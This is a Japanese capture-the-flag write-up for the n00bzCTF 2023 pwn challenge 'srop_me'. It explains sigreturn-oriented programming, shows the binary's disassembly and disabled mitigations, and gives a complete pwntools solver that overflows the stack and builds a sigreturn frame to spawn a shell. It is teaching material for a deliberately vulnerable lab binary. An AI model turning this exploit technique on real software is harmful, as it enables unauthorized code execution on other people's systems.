n00bzCTF 2023 Writeup
チームで出場し、Pwnを担当しました。
問題数と参加者がそれなりに多いCTFでの全完は初めてでしたのでうれしいです。
以下に面白かった問題のWriteupを記載します。
Pwn-ASM
問題:
What can I say except, "You're welcome" :) Author: NoobHacker
配布物:
srop_me(問題バイナリ)
解法
バイナリ名にもなっている通り、SROP(Sigreturn-oriented programming)を使ってshellを起動させる問題です。
syscall sigrerunはスタックに保持しておいた値をレジスタにセットします。
シグナルが発生した際にkernelは現在の状態をスタックに保持しますが、これを復帰させるためにsigreturnが使われます。
通常はシグナル発生→現在の状態をスタックに保持→シグナルハンドラの実行完了→sigreturnコール→スタック内の値をレジスタに復帰
という流れで処理が進むのだと思われますが、任意のタイミングでsigreturnをコールすることでスタック内の値をレジスタに設定できます。
pop rdiなどのガジェットがなくてもこの方法であれば代用が可能です。
参照:
上記を踏まえて解法を書いていきます。
まず問題バイナリですが、以下のように非常にシンプルな処理になっています。
pwndbg> disassemble vuln
Dump of assembler code for function vuln:
0x0000000000401000 <+0>: mov eax,0x1
0x0000000000401005 <+5>: mov edi,0x1
0x000000000040100a <+10>: movabs rsi,0x402000
0x0000000000401014 <+20>: mov edx,0xf
0x0000000000401019 <+25>: syscall
0x000000000040101b <+27>: sub rsp,0x20
0x000000000040101f <+31>: mov eax,0x0
0x0000000000401024 <+36>: mov edi,0x0
0x0000000000401029 <+41>: mov rsi,rsp
0x000000000040102c <+44>: mov edx,0x200
0x0000000000401031 <+49>: syscall
0x0000000000401033 <+51>: add rsp,0x20
0x0000000000401037 <+55>: ret
End of assembler dump.
緩和機構はすべてOFFです。
pwndbg> checksec
[*] '/home/ubuntu/workspace/ctf/n00bctf2023/srop_me'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
readにより標準入力からデータを0x200だけ受け取ります。
そのため単純なbofがあり、ripを任意の値にセットすることが可能です。
しかしながらpop raxのようなraxに値を入れるガジェットがないので、一見するとexecveをコールできないように思いますが、バイナリの処理内のreadに飛ばすことでこれを解決できます。
readは読み取ったサイズをraxに入れるので、raxの値をある程度操作できます。
あとはrdiに/bin/shのアドレスを設定できればよさそうですが、これはうまくいきません。
そこでsigreturnを使ってレジスタの値を操作することを考えます。
上述したようにsigreturnはスタックからレジスタに値をpopしていくのでsigreturnをコールする際にスタックに値を入れておけば狙ったレジスタに値を設定できます。
また、gdbなどで調べると/bin/shはバイナリ内の0x40200fにあることがわかります。
あとはソルバーを書いていくだけです。
以下の記事を参考にしました。
※対象のバイナリは64bitなのでcsレジスタには0x33を設定する必要があります。
※csレジスタ: コードセグメントレジスタで0x33にセットすることでコードを64bitモードで実行する
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *vuln
b *vuln+55
continue
'''.format(**locals())
exe = "./srop_me"
elf = context.binary = ELF(exe, checksec=False)
context.arch="amd64"
context.log_level = 'debug'
io = start()
padding = 32
binsh = p64(0x40200f)
syscall_ret = p64(0x0000000000401047)
payload = flat(
b"a" * padding,
0x000000000040101f,
syscall_ret*5,
p64(0)*13,
binsh,
p64(0)*4,
p64(0x3b),
p64(0),
p64(0),
syscall_ret,
p64(0),
p64(0x33),
p64(0) * 8
)
io.sendlineafter(b"world!!",payload)
payload2 = flat(
"a"*14
)
sleep(1)
io.sendline(payload2)
io.interactive()
※記事内容に不備や誤りなどがあったらTwitterやコメントなどで指摘していただけると幸いです。
※本記事の内容は社会秩序に反する行為を助長、推奨することを目的としたものではありません。許可されている環境以外への攻撃行為は法に触れる可能性があることをご留意ください。
Discussion